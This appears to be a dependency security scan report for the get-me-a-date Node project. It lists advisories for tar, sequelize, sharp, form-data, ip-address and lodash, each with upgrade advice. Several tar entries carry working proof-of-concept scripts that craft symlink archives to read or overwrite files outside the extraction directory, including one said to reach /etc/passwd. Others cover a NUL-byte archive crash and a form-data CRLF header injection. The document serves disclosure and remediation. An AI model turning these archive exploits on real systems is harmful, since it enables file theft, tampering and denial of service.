Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the #slurp() method in read-entry.js, which fails to filter the linkpath field when applying Global PAX Extended Header (g-type) fields to parsed entries. header.js correctly excludes linkpath from global headers with a guard clause, but read-entry.js contains no equivalent filter, so an attacker-controlled linkpath value from a Global Extended Header is injected into every subsequent tar.Parser entry - including plain File and Directory entries - with no warning raised even under strict: true. Any application that consumes tar.Parser or tar.list() directly and uses entry.linkpath to build filesystem paths or create symlinks without revalidating the value can be made to read or write files outside the intended directory via a path-traversal symlink.

Note: This is only exploitable in applications that use tar.Parser or tar.list() directly and act on entry.linkpath without bounds-checking; applications that use only tar.x() / tar.extract() are not affected because the Unpack layer's STRIPABSOLUTEPATH guard rejects an escaping linkpath at extraction time.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Insufficient Verification of Data Authenticity

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the #slurp() method in src/read-entry.ts, which fails to filter linkpath when applying PAX Global Extended Header (g-type) fields to parsed entries. A tar archive containing a Global Extended Header with a linkpath field causes that attacker-controlled value to be injected into every subsequent entry returned by tar.Parser, including plain File and Directory entries, with no warning raised even under strict: true. Applications that consume tar.Parser or tar.list() directly and use entry.linkpath to build filesystem paths or create symlinks can be made to read or write files outside the intended directory.

Note: This is only exploitable in applications that use tar.Parser or tar.list() directly and act on entry.linkpath without revalidating it; tar.x() and tar.extract() are not affected because the Unpack layer independently rejects an escaping linkpath.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Interpretation Conflict

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict via ReadEntry in src/read-entry.ts and related parsing logic in src/parse.ts and src/pax.ts, which apply PAX extended-header fields inconsistently. ReadEntry copies the PAX size field onto GNU long-name, long-link, and PAX meta entries, causing the parser to frame those entries differently from other tar implementations such as GNU tar, bsdtar, and Python tarfile. An attacker who supplies an archive can cause node-tar to see a different set of entries than a scanner or policy check run before extraction, allowing a file the check did not see to be extracted. Additionally, maxMetaEntrySize is checked against the PAX-overridden entry.size while the meta buffer accumulates header.size bytes, allowing the memory limit to be exceeded, and PAX records are split on newlines rather than by their length field, allowing a value containing a newline to inject a forged record.

PoC

Each finding has a self-contained test in the attached bundle (`exploit_tests/test_vuln_00N_*.cjs`). Each test runs a normal archive (control) and a crafted one (attack) against the unmodified 7.5.22 build, and records both outputs in `exploit_tests/evidence/`. All tests were run on macOS. Behaviour on Linux and Windows wasn't checked, but the affected code is platform-independent.

Note: Tests were run on macOS against the unmodified 7.5.22 build; the advisory notes the affected code is platform-independent.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via the symlink linkpath containment check in src/unpack.ts, which performs a lexical path.resolve rather than a filesystem-aware resolution. An attacker can craft a tar archive with two entries: a first symlink pointing to . (accepted as within cwd) and a second symlink whose target traverses through the first via s1/../secret.txt. Because path.resolve collapses the .. lexically, the resolved path appears to remain inside the extraction root, but the kernel follows the first symlink before applying .., causing the second symlink to point outside the extraction directory. This allows arbitrary file read of any file accessible to the extracting process by planting a symlink that escapes the extraction root.

PoC

tar 7.5.22, tar-stream 3.2.2, node 22, Docker with --network none. secret.txt sits next to the extraction dir.

const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');
const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');
fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n');
const ents = {
 direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],
 dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],
 hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],
 hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],
 file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],
};
(async()=>{ for (const [k,es] of Object.entries(ents)) {
  fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});
  const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();
  const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));
  const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }
  const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});
  let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}
  console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));
}})();
direct             warn= ["TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
dotdot_via_s1      warn= [] entries= ["s1->.","s2->s1/../secret.txt"] read= s2:"CANARY\n" pwn_outside= false
hardlink_via_s1    warn= ["TAR_ENTRY_ERROR"] entries= ["s1->."] read= - pwn_outside= false
hardlink_abs       warn= ["TAR_ENTRY_INFO","TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
file_through_link  warn= ["TAR_ENTRY_ERROR"] entries= ["s1->.","s2->s1/.."] read= - pwn_outside= false

The direct form is rejected (control). The two-step form extracts with no warning, and reading s2 returns the file outside the root.

Note: The PoC targets tar 7.5.22, tar-stream 3.2.2, and Node.js 22, run inside a Docker container with --network none.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via a backslash separator differential in the symlink linkpath containment check inside Unpack[STRIPABSOLUTEPATH] in src/unpack.ts. On non-Windows hosts, the containment check splits the symlink linkpath on both / and \ (via replaceAll(/\\/g, '/')), treating backslash as a path separator when counting segments. However, the symlink is created with the raw, unmodified linkpath via fs.symlink(entry.linkpath, entry.absolute), where the kernel treats \ as an ordinary filename character. A segment like A\B counts as two segments to the check but one to the kernel, so a .. run that the check believes stays inside the extraction directory actually escapes it at creation and resolution time. An attacker who supplies a tar archive containing a directory entry with a backslash-padded name and a symlink entry whose linkpath exploits this differential can plant a symlink that resolves to an arbitrary path on the same filesystem, enabling arbitrary file read from outside the extraction directory.

Note: This is only exploitable on non-Windows hosts (Linux/macOS), where backslash is not a path separator at the kernel level.

PoC

Non-Windows host (Linux/macOS), default options. Benign: reads a marker file placed in the PARENT of the extraction dir.

Steps: npm i tar@7.5.22 tar-stream node poc.js

poc.js:

const tar = require('tar'), { pack } = require('tar-stream');
const fs = require('fs'), path = require('path'), os = require('os');
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'poc-'));
const cwd = path.join(base, 'extract'); fs.mkdirSync(cwd);
fs.writeFileSync(path.join(base, 'SENTINEL.txt'), 'OUT-OF-TREE'); // in the PARENT of cwd
const p = pack();
p.entry({ name: 'A\\B', type: 'directory', mode: 0o755 });        // one on-disk segment "A\B"
p.entry({ name: 'escape', type: 'symlink', linkname: 'A\\B/../../SENTINEL.txt', mode: 0o777 });
p.finalize();
const chunks = []; p.on('data', c => chunks.push(c)); p.on('end', async () => {
  const tf = path.join(base, 'e.tar'); fs.writeFileSync(tf, Buffer.concat(chunks));
  await tar.x({ file: tf, cwd });                                  // DEFAULT options
  console.log('realpath:', fs.realpathSync(path.join(cwd, 'escape')));
  console.log('read    :', fs.readFileSync(path.join(cwd, 'escape'), 'utf8'));
});

Expected output: cwd/escape resolves to /SENTINEL.txt (the PARENT of the extraction directory) and reads "OUT-OF-TREE".

To show arbitrary read of a real file: use a padding segment of ~50 backslashes plus the matching number of ".." and then "/etc/passwd" as the linkname (and a directory entry named the same padding segment). The resulting symlink resolves to /etc/passwd (verified: first line "root:x:0:0:root:/root:/bin/bash").

Note: The PoC targets a non-Windows host (Linux/macOS) using tar@7.5.22 and tar-stream with default extraction options.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via the [STRIPABSOLUTEPATH] and [SYMLINK] handlers in src/unpack.ts, which perform only a lexical check on symlink linkpaths during extraction. An attacker can craft a tarball containing a symlink (e.g., l1 -> .) followed by a second symlink whose linkpath traverses through the first (e.g., esc -> l1/../outside.txt). Because path.posix.normalize collapses the l1/.. pair textually before any filesystem lstat is performed, the escape check passes, but the kernel resolves l1/.. through the symlink target, placing the resulting symlink outside the extraction directory. Any subsequent read or write through the extracted tree then reaches arbitrary files or directories above the extraction root with the privileges of the extracting user.

PoC

  1. Build an archive (any tool; e.g. node-tar's own Header):
    const fs = require('fs'), tar = require('tar')
    const hdr = (p, l) => { const b = Buffer.alloc(512); new tar.Header({ path: p, type: 'SymbolicLink', linkpath: l }).encode(b, 0); return b }
    fs.writeFileSync('evil.tar', Buffer.concat([hdr('l1', '.'), hdr('esc', 'l1/../outside.txt'), hdr('escdir', 'l1/..'), Buffer.alloc(1024)]))
    fs.writeFileSync('control.tar', Buffer.concat([hdr('esc', '../outside.txt'), Buffer.alloc(1024)]))
    
  2. Extract with default options and then use the extracted tree (same usage model as the GHSA-9ppj PoC):
    fs.mkdirSync('root/extract', { recursive: true })
    fs.writeFileSync('root/outside.txt', 'ORIGINAL\n'); fs.writeFileSync('root/secret.txt', 'DUMMY-SECRET\n')
    await tar.x({ cwd: 'root/extract', file: 'evil.tar' })          // same with sync: true
    fs.writeFileSync('root/extract/esc', 'PWNED\n')
    console.log(fs.readFileSync('root/outside.txt', 'utf8'))              // PWNED
    console.log(fs.readFileSync('root/extract/escdir/secret.txt', 'utf8')) // DUMMY-SECRET
    

Observed on 7.5.23 (repeated runs, async and sync): control.tar is rejected with "linkpath escapes extraction directory" and outside.txt stays ORIGINAL. evil.tar yields warnings=[], realpath(esc) = root/outside.txt, realpath(escdir) = root; outside.txt is overwritten and the outside secret is read. The deeper variant above overwrote a file three directories above cwd.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the path-reservation bookkeeping code (src/path-reservations.ts and src/unpack.ts). The getDirs function computes every ancestor prefix of each reserved path, and its cost is quadratic in the length of linkpath, which has no depth or length bound and is reserved for every entry type. An attacker can supply an archive of a few hundred bytes compressed to exhaust CPU and crash the Node process (VULN-002), or use very long path components within the maxDepth limit to exhaust memory (VULN-023). Additionally, PathReservations.#reservations entries are never released during extraction, the normalizeUnicode cache is bounded by entry count rather than bytes, and filesFilter memoises every path prefix, all of which cause unbounded memory growth during large or long-running extractions.

PoC

`exploit_tests/test_vuln_002_*`, `_023_`, `_009_`, `_012_` and `_024_`. Each test runs a control archive and an attack archive against the unmodified 7.5.22 build, with output recorded in `exploit_tests/evidence/`. All were run on macOS.

Note: Tests were run on macOS against the unmodified 7.5.22 build.

Remediation

Upgrade tar to version 8.0.2 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the PathReservations.getDirs helper in src/path-reservations.ts, which rebuilds a growing path prefix once per segment at O(N^2) time and memory cost. When the asynchronous Unpack extractor processes a symlink or hardlink entry, it pushes entry.linkpath into reserve(), which maps it through getDirs with no depth bound - the existing maxDepth guard is applied only to entry.path, never to entry.linkpath. An attacker who supplies an archive containing a single symlink entry with a deeply nested relative linkpath (e.g. a/a/.../a) causes the quadratic heap growth to exhaust the V8 heap and abort the Node.js process with an uncatchable fatal out-of-memory error (exit code 134).

Note: This is only exploitable on non-Windows hosts using the default asynchronous extraction API (tar.extract / Unpack); synchronous extraction (sync: true) and the Windows reservation path are not affected.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via PathReservations.getDirs() in src/path-reservations.ts, which materializes every parent-directory prefix of a given path as individual strings, an O(N²) operation. The existing maxDepth guard applies only to entry.path and not to entry.linkpath, so an archive with a shallow entry.path and a deeply nested entry.linkpath bypasses the guard entirely. Processing such an archive forces a catastrophic heap allocation that exhausts the V8 heap, aborting the process with a fatal out-of-memory error that no JavaScript error handler can intercept.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CHECKDECOMPRESSIONRATIO guard in src/parse.ts, which evaluates the decompression ratio only after node zlib has already materialized the full inflated output in memory. Because compressed bytes are credited per write() call rather than per codec output chunk, a single large write front-loads the entire inputSize × 1000 budget before the ratio is checked even once, allowing the inflated data to reside in memory unconstrained. An attacker can supply a 65,608-byte zstd archive that expands to 2 GiB, causing an OOM kill at default settings with no option overrides required. A second path exists where data written after the tar end-of-archive marker is buffered indefinitely because SAW_EOF stops the parse loop from draining but does not prevent BUFFERCONCAT from appending, giving a piping producer no back-pressure signal.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Improper Neutralization of Null Byte or NUL Character

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Neutralization of Null Byte or NUL Character via incomplete NUL-byte truncation in src/header.ts, src/parse.ts, and src/pax.ts when parsing ustar names, GNU long-name/long-link data, and PAX values. The regex .replace(/\0.*/, '') lacks the s flag, so . does not match \n, \r, U+2028, or U+2029. When one of these line terminators follows a NUL byte in an entry name, only the portion up to the line terminator is removed and the NUL remains in the name. During async extraction, the NUL-containing name is passed to fs, which throws an uncaught exception and crashes the process. With the strip option enabled, the surviving characters also cause node-tar's view of the name to differ from other tar implementations.

PoC

`exploit_tests/test_vuln_006_*` and `_021_`. Each runs a control and an attack against the unmodified 7.5.22 build, with output recorded in `exploit_tests/evidence/`. All were run on macOS.

Note: Tests were run against the unmodified 7.5.22 build on macOS.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Improper Neutralization of Null Byte or NUL Character

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Neutralization of Null Byte or NUL Character via incomplete NUL-byte sanitization in src/pax.ts, src/parse.ts, and src/header.ts during asynchronous extraction. The sanitization regex /\0.*/ uses a bare dot that does not match line terminators (\n, \r), so a NUL byte appearing after a line terminator in an archive-controlled path or linkpath string survives the replacement. The surviving NUL is passed to Node.js filesystem APIs (e.g., fs.lstat) inside an async continuation where no node-tar code catches the resulting TypeError [ERR_INVALID_ARG_VALUE], causing an uncaught exception that terminates the extracting process. An attacker who can supply an archive to any process that extracts it with the default asynchronous tar.x / tar.extract API can crash that process with a single small archive, bypassing even correctly structured try/await/catch consumer error handling because the throw occurs outside the returned promise and outside the stream error event.

Note: This is only exploitable via the asynchronous extraction API (tar.x / tar.extract); synchronous extraction (UnpackSync) and listing (tar.t) are not affected.

PoC

node-tar-nul-termination-bypass-PoC.zip

See the attached PoC zip. Summary:

./deployment/deploy.sh     # stages a sandbox with pinned tar@7.5.22
./poc/poc.sh               # builds six archives and runs the assertions

poc.sh prints one PASS line per assertion and ends with RESULT: 8 passed, 0 failed on the affected version. It includes a benign control, the original advisory payload (clean since 7.5.17), the CR bypass variant, two raw-header variants (CR and LF), a GNU L variant, and negative controls proving that sync extraction and listing do not crash. Full executed output is in the zip's README.md.

A minimal single-archive reproduction: build a tar whose first entry is an x extended header containing the record 15 path=p\0q\r\0r (valid length prefix), followed by a normal file header, then run tar.extract({ cwd }) asynchronously. On tar@7.5.22 the process dies with ERR_INVALID_ARG_VALUE naming the path <cwd>/p\r\x00r.

Note: The PoC targets tar@7.5.22 and is run in a sandbox staged by a deployment script included in the attached zip.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via PathReservations.getDirs() in the asynchronous extraction path (tar.x, tar.extract, new Unpack()), where a deeply nested entry.linkpath delivered via a GNU 'K' long-linkpath meta entry causes O(n^2) CPU work and unbounded transient heap allocation. The existing maxDepth guard introduced by the CVE-2024-28863 fix applies only to entry.path, leaving entry.linkpath uncapped, so an attacker supplies an archive whose linkpath contains hundreds of thousands of single-character path components. The quadratic allocation exhausts the Node.js heap, freezes the event loop, and terminates the process with an uncatchable FATAL ERROR: heap out of memory (exit 134 / SIGABRT) that neither try/catch nor process.on('uncaughtException') can intercept.

Note: This is only exploitable on POSIX hosts; the reserve() path is a no-op on Windows.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.21.13

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13
    Remediation: Upgrade to sequelize@6.21.2.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to an improper escaping for multiple appearances of $ in a string.

Remediation

Upgrade sequelize to version 6.21.2 or higher.

References

high severity

Dependency on Vulnerable Third-Party Component

  • Vulnerable module: sharp
  • Introduced through: sharp@0.27.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sharp@0.27.2
    Remediation: Upgrade to sharp@0.35.0.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Dependency on Vulnerable Third-Party Component via the bundled libvips image decoding library, specifically its GIF, TIFF, and VIPS image decoders. An attacker can supply malicious GIF, TIFF, or VIPS image files to an application that uses sharp to process untrusted input, triggering multiple flaws (CVE-2026-33327, CVE-2026-33328, CVE-2026-35590, CVE-2026-35591, and CVE-2026-69242) in the underlying libvips dependency. Two of these vulnerabilities are rated High severity under CVSSv4, with impacts including high integrity and availability compromise on the local system.

Remediation

Upgrade sharp to version 0.35.0 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: sharp
  • Introduced through: sharp@0.27.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sharp@0.27.2
    Remediation: Upgrade to sharp@0.35.0.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the bundled libvips TIFF loader (VipsForeignLoadTiff), which can miscount the channels of a tile encoded as JPEG or JPEG2000 within a TIFF image. An attacker can corrupt heap memory and crash the process, with a possibility of code execution, by supplying a TIFF whose JPEG or JPEG2000 tiles cause the channel count to be misdetermined and the buffer undersized. Exploitation requires the application to decode an untrusted TIFF with JPEG or JPEG2000 tiles through sharp.

Workaround

This vulnerability can be avoided by blocking the TIFF loader through sharp's block() for the VipsForeignLoadTiff operation, or by setting the VIPS_BLOCK_UNTRUSTED environment variable, so untrusted TIFF images are not decoded.

Remediation

Upgrade sharp to version 0.35.0 or higher.

References

high severity

Integer Overflow

  • Vulnerable module: sharp
  • Introduced through: sharp@0.27.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sharp@0.27.2
    Remediation: Upgrade to sharp@0.35.0.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Integer Overflow leading to a heap buffer overflow in the bundled libvips VIPS loader (VipsForeignLoadVips), which can miscompute image dimensions. An attacker can corrupt heap memory and crash the process, with a possibility of code execution, by supplying a VIPS (.vips) image whose dimensions overflow the size calculation. Exploitation requires the application to decode an untrusted VIPS image through sharp.

Workaround

This vulnerability can be avoided by blocking the VIPS loader through sharp's block() for the VipsForeignLoadVips operation, or by setting the VIPS_BLOCK_UNTRUSTED environment variable, so untrusted VIPS images are not decoded.

Remediation

Upgrade sharp to version 0.35.0 or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: form-data
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › request@2.88.2 › form-data@2.3.3
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › request@2.88.2 › form-data@2.3.3
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › request@2.88.2 › form-data@2.3.3
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › request@2.88.2 › form-data@2.3.3
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › request@2.88.2 › form-data@2.3.3

Overview

Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.

PoC

const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());

Remediation

Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: ip-address
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0

Overview

ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through improper handling of IPv4 addresses with leading zeros in the Address4. An attacker can bypass network trust-boundary checks by submitting specially crafted IP addresses that are interpreted differently by the library and the underlying network resolver, potentially allowing unauthorized access to internal resources.

Remediation

Upgrade ip-address to version 10.3.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.21, facebook-login-for-robots@1.1.155 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › lodash@4.17.21
    Remediation: Upgrade to lodash@4.17.23.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › health-checkup@1.0.45 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › modern-logger@1.5.86 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › random-http-useragent@1.1.33 › lodash@4.17.21
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › perseverance@1.0.61 › lodash@4.17.21
